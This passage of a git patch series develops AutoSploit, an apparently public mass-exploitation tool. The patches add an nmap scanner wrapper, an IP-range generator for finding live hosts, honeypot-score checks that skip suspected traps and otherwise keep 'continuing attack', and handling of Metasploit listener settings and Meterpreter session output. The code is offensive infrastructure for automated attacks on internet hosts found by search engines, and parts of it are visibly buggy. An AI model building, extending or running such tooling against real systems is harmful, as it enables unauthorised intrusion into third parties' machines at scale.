echo "Unable to detect an operating system that is compatible with AutoSploit..."; ;; esac echo ""; From 2d316372c809729ac7629470d14957ff87b4c662 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 09:21:35 -0500 Subject: [PATCH 61/77] pushing for relation to the wrappers --- autosploit/main.py | 6 +- etc/text_files/nmap_options.lst | 108 ++++++++++++++++++++++ lib/errors.py | 8 +- lib/exploitation/exploiter.py | 3 +- lib/scanner/__init__.py | 0 lib/scanner/nmap.py | 156 ++++++++++++++++++++++++++++++++ lib/settings.py | 18 +++- 7 files changed, 295 insertions(+), 4 deletions(-) create mode 100644 etc/text_files/nmap_options.lst create mode 100644 lib/scanner/__init__.py create mode 100644 lib/scanner/nmap.py diff --git a/autosploit/main.py b/autosploit/main.py index 6543054..b72d1a5 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -24,6 +24,7 @@ EXPLOIT_FILES_PATH, START_SERVICES_PATH, save_error_to_file, + stop_animation ) from lib.jsonize import ( load_exploits, @@ -115,6 +116,10 @@ def main(): terminal = AutoSploitTerminal(loaded_tokens, loaded_exploits) terminal.terminal_main_display(loaded_tokens) except Exception as e: + global stop_animation + + stop_animation = True + import traceback print( @@ -128,4 +133,3 @@ def main(): error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") error_file = save_error_to_file(str(error_traceback), str(e), error_class) request_issue_creation(error_file, hide_sensitive(), str(e)) - diff --git a/etc/text_files/nmap_options.lst b/etc/text_files/nmap_options.lst new file mode 100644 index 0000000..4456386 --- /dev/null +++ b/etc/text_files/nmap_options.lst @@ -0,0 +1,108 @@ +-iL +-iR +--exclude +--excludefile +-sL +-sn +-Pn +-PS +-PA +-PU +-PY +-PE +-PP +-PM +-PO +-n +-R +--dns-servers +--system-dns +--traceroute +-sS +-sT +-sA +-sW +-sM +-sU +-sN +-sF +-sX +--scanflags +-sI +-sY +-sZ +-sO +-b +-p +--exclude-ports +-F +-r +--top-ports +--port-ratio +-sV +--version-intensity +--version-light +--version-all +--version-trace +-sC +--script +--script-args +--script-args-file +--script-trace +--script-updatedb +--script-help +-O +--osscan-limit +--osscan-guess +-T +--min-hostgroup +--max-hostgroup +--min-parallelism +--max-parallelism +--min-rtt-timeout +--max-rtt-timeout +--initial-rtt-timeout +--max-retries +--host-timeout +--scan-delay +--max-scan-delay +--min-rate +--max-rate +-f +--mtu +-D +-S +-e +-g +--source-port +--proxies +--data +--data-string +--data-length +--ip-options +--ttl +--spoof-mac +--badsum +-oN +-oX +-oS +-oG +-oA +-v +-d +--reason +--open +--packet-trace +--iflist +--append-output +--resume +--stylesheet +--webxml +--no-stylesheet +-6 +-A +--datadir +--send-eth/--send-ip +--privileged +--unprivileged +-V \ No newline at end of file diff --git a/lib/errors.py b/lib/errors.py index bab8acc..af2fc58 100644 --- a/lib/errors.py +++ b/lib/errors.py @@ -1 +1,7 @@ -class AutoSploitAPIConnectionError(Exception): pass \ No newline at end of file +class AutoSploitAPIConnectionError(Exception): pass + + +class NmapNotFoundException(Exception): pass + + +class NmapScannerError(Exception): pass \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index b8a8786..ca69b40 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -110,13 +110,14 @@ def start_exploit(self, sep="*" * 10): if self.check_honey: lib.output.misc_info("checking if {} is a honeypot".format(host)) honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() - if honey_score >= self.compare_honey: + if honey_score < self.compare_honey: lib.output.warning( "honeypot score ({}) is above (or equal to) requested, skipping target".format(honey_score) ) skip = True skip_amount += 1 else: + lib.output.misc_info("{} does not appear to be a honeypot, continuing attack") skip = False else: skip = False diff --git a/lib/scanner/__init__.py b/lib/scanner/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/scanner/nmap.py b/lib/scanner/nmap.py new file mode 100644 index 0000000..1797fec --- /dev/null +++ b/lib/scanner/nmap.py @@ -0,0 +1,156 @@ +import io +import os +import re +import csv +import sys +import shlex +import subprocess + +from xml.etree import ElementTree +from multiprocessing import Process + +import lib.jsonize +import lib.errors +import lib.output +import lib.settings + + +def write_xml_data(host, output): + if not os.path.exists(lib.settings.NMAP_XML_OUTPUT_BACKUP): + os.makedirs(lib.settings.NMAP_XML_OUTPUT_BACKUP) + file_path = "{}/{}_{}.xml".format( + lib.settings.NMAP_XML_OUTPUT_BACKUP, str(host), lib.jsonize.random_file_name(length=10) + ) + with open(file_path, 'a+') as results: + results.write(output) + return file_path + + +def find_nmap(search_paths): + for path in search_paths: + try: + _ = subprocess.Popen([path, '-V'], bufsize=10000, stdout=subprocess.PIPE, close_fds=True) + except OSError: + pass + else: + return path + raise lib.errors.NmapNotFoundException + + +def do_scan(host, nmap_path, ports=None, arguments=None): + if arguments is None: + arguments = "-sV" + arguments_list = shlex.split(arguments) + launch_arguments = [ + nmap_path, '-oX', '-', host, + '-p ' + ports if ports is not None else "", + ] + arguments_list + lib.output.info("launching nmap scan against {} ({})".format(host, " ".join(launch_arguments))) + process = subprocess.Popen( + launch_arguments, bufsize=10000, stdin=subprocess.PIPE, + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + output, error = process.communicate() + output_data = bytes.decode(output) + nmap_error = bytes.decode(error) + nmap_error_tracestack = [] + nmap_warn_tracestack = [] + if len(nmap_error) > 0: + for line in nmap_error.split(os.linesep): + if len(line) != 0: + if lib.settings.NMAP_ERROR_REGEX_WARNING.search(line) is not None: + nmap_warn_tracestack.append(line + os.linesep) + else: + nmap_error_tracestack.append(line + os.linesep) + path = write_xml_data(host, output_data) + lib.output.misc_info("a copy of the output has been saved to: {}".format(path)) + return output_data, "".join(nmap_warn_tracestack), "".join(nmap_error_tracestack) + + +def parse_xml_output(output, warnings, error): + results = {} + try: + root = ElementTree.fromstring(output) + except Exception: + if len(error) != 0: + raise lib.errors.NmapScannerError(error) + else: + raise lib.errors.NmapScannerError(output) + results['nmap_scan'] = { + 'full_command_line': root.get('args'), + 'scan_information': {}, + 'scan_stats': { + 'time_string': root.find('runstats/finished').get('timestr'), + 'elapsed': root.find('runstats/finished').get('elapsed'), + 'hosts_up': root.find('runstats/hosts').get('up'), + 'down_hosts': root.find('runstats/hosts').get('down'), + 'total_hosts_scanned': root.find('runstats/hosts').get('total') + } + } + if len(error) != 0: + results['nmap_scan']['scan_information']['errors'] = error + if len(warnings) != 0: + results['nmap_scan']['scan_information']['warnings'] = warnings + for info in root.findall('scaninfo'): + results['nmap_scan']['scan_information'][info.get('protocol')] = { + 'method': info.get('type'), + 'services': info.get('services') + } + for attempted_host in root.findall('host'): + host = None + addresses = {} + vendors = {} + for address in attempted_host.findall("address"): + address_type = address.get('addrtype') + addresses[address_type] = address.get('addr') + if address_type == "ipv4": + host = addresses[address_type] + elif address_type == "mac" and address.get('vendor') is not None: + vendors[addresses[address_type]] = address.get('vendor') + if host is None: + host = attempted_host.find('address').get('addr') + hostnames = [] + if len(attempted_host.findall('hostnames/hostname')) != 0: + for current_hostnames in attempted_host.findall('hostnames/hostname'): + hostnames.append({ + 'hostname': current_hostnames.get('name'), + 'host_type': current_hostnames.get('type') + }) + else: + hostnames.append({ + 'hostname': None, + 'host_type': None + }) + + results['nmap_scan'][host] = {} + results['nmap_scan'][host]['hostnames'] = hostnames + results['nmap_scan'][host]['addresses'] = addresses + results['nmap_scan'][host]['vendors'] = vendors + + print results;exit(1) + + for status in attempted_host.findall('status'): + results['nmap_scan'][attempted_host]['status'] = { + 'state': status.get('state'), + 'reason': status.get('reason') + } + for uptime in attempted_host.findall('uptime'): + results['nmap_scan'][attempted_host]['uptime'] = { + 'seconds': uptime.get('seconds'), + 'lastboot': uptime.get('lastboot') + } + for discovered_port in attempted_host.findall('ports/port'): + protocol = discovered_port.get('protocol') + port_number = discovered_port.get('portid') + port_state = discovered_port.find('state').get('reason') + + # damn I didn't even know you could do this! + for discovered_name in discovered_port.findall('service'): + name = discovered_name.get('name') + if discovered_name.get('product'): + discovered_product = discovered_name.get('product') + if discovered_name.get('version'): + discovered_version = discovered_name.get('version') + if discovered_name.get('extrainfo'): + extra_information = discovered_name.get('extrainfo') + print results \ No newline at end of file diff --git a/lib/settings.py b/lib/settings.py index 4eec7c6..4b94d00 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -1,4 +1,5 @@ import os +import re import sys import time import socket @@ -71,6 +72,20 @@ def complete_text(self, text, state): # autosploit command history file path HISTORY_FILE_PATH = "{}/.history".format(HOME) +# we'll save the scans output for future use +NMAP_XML_OUTPUT_BACKUP = "{}/nmap_scans".format(HOME) + +# regex to discover errors or warnings +NMAP_ERROR_REGEX_WARNING = re.compile("^warning: .*", re.IGNORECASE) + +# possible options in nmap +NMAP_OPTIONS_PATH = "{}/etc_text_files/nmap_opts.lst".format(CUR_DIR) + +# possible paths for nmap +NMAP_POSSIBLE_PATHS = ( + 'nmap', '/usr/bin/nmap', '/usr/local/bin/nmap', '/sw/bin/nmap', '/opt/local/bin/nmap' +) + # link to the checksums CHECKSUM_LINK = open("{}/etc/text_files/checksum_link.txt".format(CUR_DIR)).read() @@ -90,7 +105,8 @@ def complete_text(self, text, state): # one bash script to rule them all takes an argument via the operating system START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) -RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) +# path where we will keep the rc scripts +RC_SCRIPTS_PATH = "{}/autosploit_out/".format(HOME) # path to the file that will contain our query QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name From fe1e425ed2675d4993c0fe390c5b55720af8dce2 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 13:06:31 -0500 Subject: [PATCH 62/77] the ip address generator is ready, just need to tie it together --- lib/creation/ip_generator.py | 66 ++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 lib/creation/ip_generator.py diff --git a/lib/creation/ip_generator.py b/lib/creation/ip_generator.py new file mode 100644 index 0000000..07207e6 --- /dev/null +++ b/lib/creation/ip_generator.py @@ -0,0 +1,66 @@ +import socket +import itertools + +from multiprocessing import Pool + + +def generate_ip_range(selected_range): + """ + generate an IP address range from each provided node. + for example `10.0.1-10.1-10` will return a generator + object that has IP `10.0.1.1 - 10.0.10.10` in it + """ + octets = selected_range.split(".") + chunks = [map(int, octet.split("-")) for octet in octets] + ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks] + for address in itertools.product(*ranges): + yield ".".join(map(str, address)) + + +def check_ip_alive(ip): + """ + efficiently check if an IP address is alive or not + by using the socket.gethostbyaddr function + """ + def is_valid_ip(ip): + try: + socket.inet_aton(ip) + return True + except: + return False + + try: + if not is_valid_ip(ip): + return False + else: + return socket.gethostbyaddr(ip) + except socket.herror: + return False + + +def check_ip_wrapper(generated_ips, limit=350): + """ + multiprocess the check_ip_alive function in order + to proces a large amount of IP addresses quickly + """ + alive_ips = [] + ips_to_use = [] + i = 0 + proc_pool = Pool(processes=35) + + for ip in generated_ips: + ips_to_use.append(ip) + i += 1 + if i == limit: + break + for ip in ips_to_use: + try: + result = proc_pool.apply_async(check_ip_alive, args=(ip,)).get() + if not result: + pass + else: + alive_ips.append(ip) + except Exception: + pass + proc_pool.close() + return alive_ips From 15866139e4bc25d4a236411c1a34170c55b021fd Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 13:07:49 -0500 Subject: [PATCH 63/77] minor update, oops --- lib/creation/ip_generator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/creation/ip_generator.py b/lib/creation/ip_generator.py index 07207e6..40218af 100644 --- a/lib/creation/ip_generator.py +++ b/lib/creation/ip_generator.py @@ -38,7 +38,7 @@ def is_valid_ip(ip): return False -def check_ip_wrapper(generated_ips, limit=350): +def check_ip_wrapper(generated_ips, limit=250): """ multiprocess the check_ip_alive function in order to proces a large amount of IP addresses quickly From 5b798b433271c5f9acd622928f477f94984bc963 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 14:12:03 -0500 Subject: [PATCH 64/77] just making some minor updates here and there --- lib/banner.py | 2 +- lib/cmdline/cmd.py | 16 ++++++++------ lib/creation/issue_creator.py | 28 ++++++++++++++++-------- lib/exploitation/exploiter.py | 41 +++++++++++++++-------------------- lib/settings.py | 2 +- lib/term/terminal.py | 24 ++++++++++---------- 6 files changed, 61 insertions(+), 52 deletions(-) diff --git a/lib/banner.py b/lib/banner.py index 26f355a..bb272a2 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "3.1.3" +VERSION = "3.1.4" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 2dc3e56..647e8b3 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -25,10 +25,10 @@ def optparser(): """ parser = argparse.ArgumentParser( - usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n" - "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH\n" - "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n" - "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format( + usage="python autosploit.py -c[z|s|a] -q QUERY [-O|A]\n" + "{spacer}[-C WORKSPACE LHOST LPORT] [-e] [--whitewash PATH] [-H]\n" + "{spacer}[--ruby-exec] [--msf-path] PATH [-E EXPLOIT-FILE-PATH]\n" + "{spacer}[--rand-agent] [--proxy PROTO://IP:PORT] [-P AGENT] [-D QUERY,QUERY,..]".format( spacer=" " * 28 ) ) @@ -42,8 +42,10 @@ def optparser(): se.add_argument("-a", "--all", action="store_true", dest="searchAll", help="search all available search engines to gather hosts") save_results_args = se.add_mutually_exclusive_group(required=False) - save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", - help="When specified, start from scratch by overwriting the host file with new search results.") + save_results_args.add_argument( + "-O", "--overwrite", action="store_true", dest="overwriteHosts", + help="When specified, start from scratch by overwriting the host file with new search results." + ) save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", help="When specified, append discovered hosts to the host file.") @@ -65,7 +67,7 @@ def optparser(): exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", help="start exploiting the already gathered hosts") exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", - help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") + help="msfconsole will never be called when this flag is passed") exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", help="Run AutoSploit with provided exploit JSON file.") exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE", diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 092b4a2..3b7f0c0 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -78,7 +78,7 @@ def check_version_number(current_version): try: req = requests.get("https://raw.githubusercontent.com/NullArray/AutoSploit/master/lib/banner.py") available_version = version_checker.search(req.content).group().split("=")[-1].split('"')[1] - if available_version != current_version: + if available_version > current_version: return False return True except Exception: @@ -168,15 +168,25 @@ def hide_sensitive(): args = sys.argv for item in sys.argv: if item in sensitive: - # TODO:/ we need to block the IP addresses in the -C argument - try: - item_index = args.index(item) + 1 - hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) - args.pop(item_index) - args.insert(item_index, hidden) + if item in ["-C", "--config"]: + try: + item_index = args.index("-C") + 1 + except ValueError: + item_index = args.index("--config") + 1 + for _ in range(3): + hidden = ''.join([x.replace(x, '*') for x in str(args[item_index])]) + args.pop(item_index+_) + args.insert(item_index, hidden) return ' '.join(args) - except: - return ' '.join([item for item in sys.argv]) + else: + try: + item_index = args.index(item) + 1 + hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) + args.pop(item_index) + args.insert(item_index, hidden) + return ' '.join(args) + except: + return ' '.join([item for item in sys.argv]) def request_issue_creation(path, arguments, error_message): diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index ca69b40..e53df58 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -40,6 +40,7 @@ class AutoSploitExploiter(object): sorted_modules = [] def __init__(self, configuration, all_modules, hosts=None, **kwargs): + self.hosts = hosts self.hosts = hosts self.configuration = configuration self.mods = all_modules @@ -89,14 +90,13 @@ def start_exploit(self, sep="*" * 10): report_path = path.join(current_run_path, "report.csv") with open(report_path, 'w') as f: csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) - csv_file.writerow(['Target Host', - 'Date (UTC)', - 'MSF Module', - "LocalHost", - "Listening Port", - "Successful Logs", - "Failure Logs", - "All Logs"]) + csv_file.writerow( + [ + 'Target Host', 'Date (UTC)', 'MSF Module', + "LocalHost", "Listening Port", "Successful Logs", + "Failure Logs", "All Logs" + ] + ) lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) @@ -117,7 +117,7 @@ def start_exploit(self, sep="*" * 10): skip = True skip_amount += 1 else: - lib.output.misc_info("{} does not appear to be a honeypot, continuing attack") + lib.output.misc_info("{} does not appear to be a honeypot, continuing attack".format(host)) skip = False else: skip = False @@ -188,12 +188,11 @@ def start_exploit(self, sep="*" * 10): ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] - msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or - 'Meterpreter' in x or - 'Session' in x or - 'Sending stage' in x] - - msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] + msf_wins = [ + x for x in msf_output_lines if re.search('\[\+\]', x) or + 'Meterpreter' in x or 'Session' in x or 'Sending stage' in x + ] + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x) and 'Background' not in x] if len(msf_wins): win_total += 1 @@ -201,14 +200,10 @@ def start_exploit(self, sep="*" * 10): fail_total += 1 csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) - csv_file.writerow([rhost, - today_printable, - module_name, - lhost, - lport, - linesep.join(msf_wins), - linesep.join(msf_fails), - linesep.join(msf_output_lines)]) + csv_file.writerow([ + rhost, today_printable, module_name, lhost, lport, + linesep.join(msf_wins), linesep.join(msf_fails), linesep.join(msf_output_lines) + ]) print("") lib.output.info("{}RESULTS{}".format(sep, sep)) diff --git a/lib/settings.py b/lib/settings.py index 4b94d00..8a58a3e 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -51,7 +51,7 @@ def complete_text(self, text, state): exploit/run/attack Run the exploits on the already gathered hosts search/api/gather Search the API's for hosts exit/quit Exit the terminal session -single Load a single host into the file +single Load a single host into the file, or multiple hosts separated by a comma (1,2,3,..) personal/custom Load a custom host file tokens/reset Reset API tokens if needed external View loaded external commands diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 534469b..36f0857 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -308,6 +308,7 @@ def do_add_single_host(self, ip): Explanation: ------------ Add a single host by IP address + Or a list of single hosts separatedd by a comma Parameters: ----------- @@ -315,15 +316,16 @@ def do_add_single_host(self, ip): Examples: --------- - single 89.76.12.124 + single 89.76.12.124[89.76.12.43,89.90.65.78,...] """ - validated_ip = lib.settings.validate_ip_addr(ip) - if not validated_ip: - lib.output.error("provided IP '{}' is invalid, try again".format(ip)) - else: - with open(lib.settings.HOST_FILE, "a+") as hosts: - hosts.write(ip + "\n") - lib.output.info("host '{}' saved to hosts file".format(ip)) + for item in ip.split(","): + validated_ip = lib.settings.validate_ip_addr(item) + if not validated_ip: + lib.output.error("provided IP '{}' is invalid, try again".format(ip)) + else: + with open(lib.settings.HOST_FILE, "a+") as hosts: + hosts.write(item + "\n") + lib.output.info("host '{}' saved to hosts file".format(item)) def do_quit_terminal(self, save_history=True): """ @@ -518,7 +520,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): lib.output.error( "must provide at least LHOST, LPORT, workspace name with `{}` keyword " "(IE {} 127.0.0.1 9076 default [whitelist-path] [honeycheck])".format( - choice.strip(), choice.strip() + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() ) ) else: @@ -574,7 +576,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): lib.output.error( "must provide a list of API names after `{}` keyword and query " "(IE {} shodan,censys apache2)".format( - choice.strip(), choice.strip() + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() ) ) else: @@ -605,7 +607,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): lib.output.error( "must supply API name with `{}` keyword along with " "new token (IE {} shodan mytoken123 [userID (censys)])".format( - choice.strip(), choice.strip() + choice.split(" ")[0].strip(), choice.split(" ")[0].strip() ) ) else: From e89abd07bbe8d77b051e8a4e96c40025ce8358eb Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 14:13:35 -0500 Subject: [PATCH 65/77] just making some minor updates here and there --- lib/exploitation/exploiter.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index e53df58..3e7eb8b 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -40,7 +40,6 @@ class AutoSploitExploiter(object): sorted_modules = [] def __init__(self, configuration, all_modules, hosts=None, **kwargs): - self.hosts = hosts self.hosts = hosts self.configuration = configuration self.mods = all_modules From 2f0fb770f1b14ed4e3244372d85d9a34d37198cc Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 14:14:15 -0500 Subject: [PATCH 66/77] just making some minor updates here and there --- lib/term/terminal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 36f0857..5b9106a 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -316,7 +316,7 @@ def do_add_single_host(self, ip): Examples: --------- - single 89.76.12.124[89.76.12.43,89.90.65.78,...] + single 89.76.12.124[,89.76.12.43,89.90.65.78,...] """ for item in ip.split(","): validated_ip = lib.settings.validate_ip_addr(item) From 988160c118a822c28fee6a4f19d634ca4157338b Mon Sep 17 00:00:00 2001 From: Ekultek Date: Thu, 27 Jun 2019 16:09:31 -0500 Subject: [PATCH 67/77] port scanner is ready --- lib/scanner/nmap.py | 88 ++++++++++++++++++++++++++++++++++++++------- 1 file changed, 75 insertions(+), 13 deletions(-) diff --git a/lib/scanner/nmap.py b/lib/scanner/nmap.py index 1797fec..3daab79 100644 --- a/lib/scanner/nmap.py +++ b/lib/scanner/nmap.py @@ -1,13 +1,58 @@ -import io +""" + +********************************************************************************************* +* NOTICE FROM AUTOSPLOIT DEVELOPERS * +********************************************************************************************* +* this is basically an exact copy of * +* `https://github.com/komand/python-nmap/blob/master/nmap/nmap.py` that has been modified * +* to better fit into autosploits development. There has been very minimal changes to it * +* and it still basically functions the exact same way * +********************************************************************************************* + + +ORIGINAL INFO: +-------------- +nmap.py - version and date, see below +Source code : https://bitbucket.org/xael/python-nmap +Author : +* Alexandre Norman - norman at xael.org +Contributors: +* Steve 'Ashcrow' Milner - steve at gnulinux.net +* Brian Bustin - brian at bustin.us +* old.schepperhand +* Johan Lundberg +* Thomas D. maaaaz +* Robert Bost +* David Peltier +Licence: GPL v3 or any later version for python-nmap +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. +You should have received a copy of the GNU General Public License +along with this program. If not, see . +************** +IMPORTANT NOTE +************** +The Nmap Security Scanner used by python-nmap is distributed +under it's own licence that you can find at https://svn.nmap.org/nmap/COPYING +Any redistribution of python-nmap along with the Nmap Security Scanner +must conform to the Nmap Security Scanner licence + +__author__ = 'Alexandre Norman (norman@xael.org)' +__version__ = '0.6.2' +__last_modification__ = '2017.01.07' +""" + import os -import re -import csv -import sys import shlex import subprocess from xml.etree import ElementTree -from multiprocessing import Process import lib.jsonize import lib.errors @@ -45,7 +90,11 @@ def do_scan(host, nmap_path, ports=None, arguments=None): nmap_path, '-oX', '-', host, '-p ' + ports if ports is not None else "", ] + arguments_list - lib.output.info("launching nmap scan against {} ({})".format(host, " ".join(launch_arguments))) + to_launch = [] + for item in launch_arguments: + if not item == "": + to_launch.append(item) + lib.output.info("launching nmap scan against {} ({})".format(host, " ".join(to_launch))) process = subprocess.Popen( launch_arguments, bufsize=10000, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE @@ -127,24 +176,24 @@ def parse_xml_output(output, warnings, error): results['nmap_scan'][host]['addresses'] = addresses results['nmap_scan'][host]['vendors'] = vendors - print results;exit(1) - for status in attempted_host.findall('status'): - results['nmap_scan'][attempted_host]['status'] = { + results['nmap_scan'][host]['status'] = { 'state': status.get('state'), 'reason': status.get('reason') } for uptime in attempted_host.findall('uptime'): - results['nmap_scan'][attempted_host]['uptime'] = { + results['nmap_scan'][host]['uptime'] = { 'seconds': uptime.get('seconds'), 'lastboot': uptime.get('lastboot') } for discovered_port in attempted_host.findall('ports/port'): protocol = discovered_port.get('protocol') port_number = discovered_port.get('portid') - port_state = discovered_port.find('state').get('reason') + port_state = discovered_port.find('state').get('state') + port_reason = discovered_port.find('state').get('reason') - # damn I didn't even know you could do this! + # this is actually a thing!! + name = discovered_config = discovered_version = extra_information = discovered_product = stuff = "" for discovered_name in discovered_port.findall('service'): name = discovered_name.get('name') if discovered_name.get('product'): @@ -153,4 +202,17 @@ def parse_xml_output(output, warnings, error): discovered_version = discovered_name.get('version') if discovered_name.get('extrainfo'): extra_information = discovered_name.get('extrainfo') - print results \ No newline at end of file + if discovered_name.get('conf'): + discovered_config = discovered_name.get('conf') + + for other_stuff in discovered_name.findall('cpe'): + stuff = other_stuff.text + if protocol not in results['nmap_scan'][host].keys(): + results['nmap_scan'][host][protocol] = list() + results['nmap_scan'][host][protocol].append({ + 'port': port_number, 'state': port_state, 'reason': port_reason, + 'name': name, 'product': discovered_product, 'version': discovered_version, + 'extrainfo': extra_information, 'conf': discovered_config, 'cpe': stuff + }) + + return results From d5ff732bc1d1c4da57723bae256181fd2d1b8c0b Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:20:52 -0500 Subject: [PATCH 68/77] fix for issue #1058 --- lib/term/terminal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 5b9106a..3688794 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -282,7 +282,7 @@ def do_api_search(self, requested_api_data, query, tokens): proxy=proxy, agent=agent ).search() - except lib.errors.AutoSploitAPIConnectionError as e: + except (lib.errors.AutoSploitAPIConnectionError, Exception) as e: lib.settings.stop_animation = True lib.output.error("error searching API: '{}', error message: '{}'".format(api, str(e))) lib.settings.stop_animation = True From e37765eb27a9d4ab6cf199fc466a77837040cdbe Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:25:33 -0500 Subject: [PATCH 69/77] fix for issue #1059 --- lib/settings.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/lib/settings.py b/lib/settings.py index 8a58a3e..4b6666a 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -310,15 +310,18 @@ def cmdline(command, is_msf=True): split_cmd = [x.strip() for x in command.split(" ") if x] sys.stdout.flush() - - proc = Popen(split_cmd, stdout=PIPE, bufsize=1) stdout_buff = [] - for stdout_line in iter(proc.stdout.readline, b''): - stdout_buff += [stdout_line.rstrip()] - if is_msf: - print("(msf)>> {}".format(stdout_line).rstrip()) - else: - print("{}".format(stdout_line).rstrip()) + + try: + proc = Popen(split_cmd, stdout=PIPE, bufsize=1) + for stdout_line in iter(proc.stdout.readline, b''): + stdout_buff += [stdout_line.rstrip()] + if is_msf: + print("(msf)>> {}".format(stdout_line).rstrip()) + else: + print("{}".format(stdout_line).rstrip()) + except OSError as e: + stdout_buff += "ERROR: " + e return stdout_buff From d5df08e99b1ef655a676dc714a804efdb03f721d Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:27:06 -0500 Subject: [PATCH 70/77] fix for issue #1060 --- lib/term/terminal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 3688794..64d0cd8 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -562,7 +562,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): print(self.do_load_custom_hosts.__doc__) except TypeError: pass - if len(choice_data_list) == 1: + if choice_data_list is not None and len(choice_data_list) == 1: lib.output.error("must provide full path to file after `{}` keyword".format(choice)) else: self.do_load_custom_hosts(choice_data_list[-1]) From 0c2319de85bc1dda9be7b1674519eebd9e52fcef Mon Sep 17 00:00:00 2001 From: Ekultek Date: Tue, 3 Sep 2019 16:28:40 -0500 Subject: [PATCH 71/77] fix for issue #1061 --- lib/exploitation/exploiter.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 3e7eb8b..f5863a8 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -123,7 +123,10 @@ def start_exploit(self, sep="*" * 10): 